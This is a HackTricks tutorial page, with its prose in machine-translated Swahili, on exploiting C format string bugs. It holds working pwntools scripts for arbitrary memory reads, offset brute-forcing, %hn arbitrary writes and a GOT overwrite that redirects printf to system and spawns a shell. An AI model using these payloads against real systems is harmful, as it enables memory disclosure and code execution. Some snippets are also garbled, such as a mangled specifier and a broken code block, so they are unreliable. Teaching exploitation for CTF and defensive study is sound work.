Format Strings

Support HackTricks

Basic Information

Katika C printf ni kazi ambayo inaweza kutumika kuchapisha maandiko fulani. Parameta ya kwanza ambayo kazi hii inatarajia ni maandishi halisi yenye waandishi wa fomati. Parameta zinazofuata zinazotarajiwa ni thamani za kuchukua nafasi ya waandishi wa fomati kutoka kwa maandiko halisi.

Wakazi wengine walio hatarini ni sprintf() na fprintf().

Ukatili unatokea wakati maandishi ya mshambuliaji yanapotumika kama hoja ya kwanza kwa kazi hii. Mshambuliaji ataweza kuunda ingizo maalum linalotumia uwezo wa printf format kusoma na kuandika data yoyote katika anwani yoyote (inasomeka/inaandikwa). Kuwa na uwezo huu wa kutekeleza msimbo wowote.

Formatters:

%08x> 8 hex bytes
%d> Entire
%u> Unsigned
%s> String
%p> Pointer
%n> Number of written bytes
%hn> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Mifano:

  • Mfano unaoweza kuathiriwa:

char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Matumizi ya Kawaida:

int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Na Hoja za Kutokuwepo:

printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf inayoweza kutumika:

#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}

Kupata Viashiria

Muundo %<n>$x, ambapo n ni nambari, unaruhusu kuonyesha kwa printf kuchagua parameter ya n (kutoka kwenye stack). Hivyo ikiwa unataka kusoma parameter ya 4 kutoka kwenye stack ukitumia printf unaweza kufanya:

printf("%x %x %x %x")

na ungeweza kusoma kutoka kwa param ya kwanza hadi ya nne.

Au unaweza kufanya:

printf("$4%x")

na kusoma moja kwa moja ya nne.

Kumbuka kwamba mshambuliaji anadhibiti printf parameter, ambayo kimsingi inamaanisha kwamba ingizo lake litakuwa kwenye stack wakati printf inaitwa, ambayo inamaanisha kwamba anaweza kuandika anwani maalum za kumbukumbu kwenye stack.

Mshambuliaji anayekontrol ingizo hili, ataweza kuongeza anwani yoyote kwenye stack na kufanya printf iwasiliane nazo. Katika sehemu inayofuata itafafanuliwa jinsi ya kutumia tabia hii.

Kusoma Bila Mpangilio

Inawezekana kutumia formatter %n$s kufanya printf ipate anwani iliyoko katika n nafasi, ikifuatia na kuichapisha kana kwamba ni string (chapisha hadi 0x00 ipatikane). Hivyo kama anwani ya msingi ya binary ni 0x8048000, na tunajua kwamba ingizo la mtumiaji linaanza katika nafasi ya 4 kwenye stack, inawezekana kuchapisha mwanzo wa binary kwa:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

Kumbuka kwamba huwezi kuweka anwani 0x8048000 mwanzoni mwa ingizo kwa sababu mfuatano utawekwa katika 0x00 mwishoni mwa anwani hiyo.

Pata offset

Ili kupata offset kwa ingizo lako unaweza kutuma bytes 4 au 8 (0x41414141) ikifuatiwa na %1$x na kuongeza thamani hadi upate A's.

Brute Force printf offset

```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### Jinsi inavyofaa

Kusoma kwa bahati kunaweza kuwa na manufaa kwa:

* **Kutoa** **binary** kutoka kwenye kumbukumbu
* **Kufikia sehemu maalum za kumbukumbu ambapo** **info** **nyeti** inahifadhiwa (kama vile canaries, funguo za usimbuaji au nywila za kawaida kama katika hii [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))

## **Kuandika kwa Bahati**

Formatter **`$<num>%n`** **inaandika** **idadi ya bytes zilizandika** katika **anwani iliyoonyeshwa** katika param ya \<num> kwenye stack. Ikiwa mshambuliaji anaweza kuandika herufi nyingi kadri atakavyo kwa printf, ataweza kufanya **`$<num>%n`** kuandika nambari isiyo ya kawaida katika anwani isiyo ya kawaida.

Kwa bahati, kuandika nambari 9999, si lazima kuongeza "A" 9999 kwenye ingizo, ili kufanya hivyo inawezekana kutumia formatter **`%.<num-write>%<num>$n`** kuandika nambari **`<num-write>`** katika **anwani inayotolewa na nafasi ya `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Hata hivyo, kumbuka kwamba kawaida ili kuandika anwani kama 0x08049724 (ambayo ni nambari KUBWA kuandika mara moja), inatumika $hn badala ya $n. Hii inaruhusu kuandika tu Bytes 2. Kwa hivyo operesheni hii inafanywa mara mbili, moja kwa ajili ya Bytes 2 za juu za anwani na nyingine kwa ajili ya zile za chini.

Kwa hivyo, udhaifu huu unaruhusu kuandika chochote katika anwani yoyote (kuandika bila mpangilio).

Katika mfano huu, lengo litakuwa kufuta anwani ya kazi katika jedwali la GOT ambalo litaitwa baadaye. Ingawa hii inaweza kutumia mbinu nyingine za kuandika bila mpangilio ili kutekeleza:

Tuta futa kazi ambayo inapokea hoja zake kutoka kwa mtumiaji na kuielekeza kwa system kazi. Kama ilivyotajwa, kuandika anwani, kawaida hatua 2 zinahitajika: Unap andika kwanza Bytes 2 za anwani na kisha zile nyingine 2. Ili kufanya hivyo $hn inatumika.

  • HOB inaitwa kwa Bytes 2 za juu za anwani

  • LOB inaitwa kwa Bytes 2 za chini za anwani

Kisha, kwa sababu ya jinsi format string inavyofanya kazi unahitaji kuandika kwanza ndogo ya [HOB, LOB] na kisha nyingine.

Ikiwa HOB < LOB [address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Ikiwa HOB > LOB [address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools Template

Unaweza kupata kigezo cha kuandaa exploit kwa aina hii ya udhaifu katika:

Au mfano huu wa msingi kutoka hapa:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

Inawezekana kutumia vitendo vya kuandika vya udhaifu wa format string ili kuandika katika anwani za stack na kutumia udhaifu wa aina ya buffer overflow.

Other Examples & References

Last updated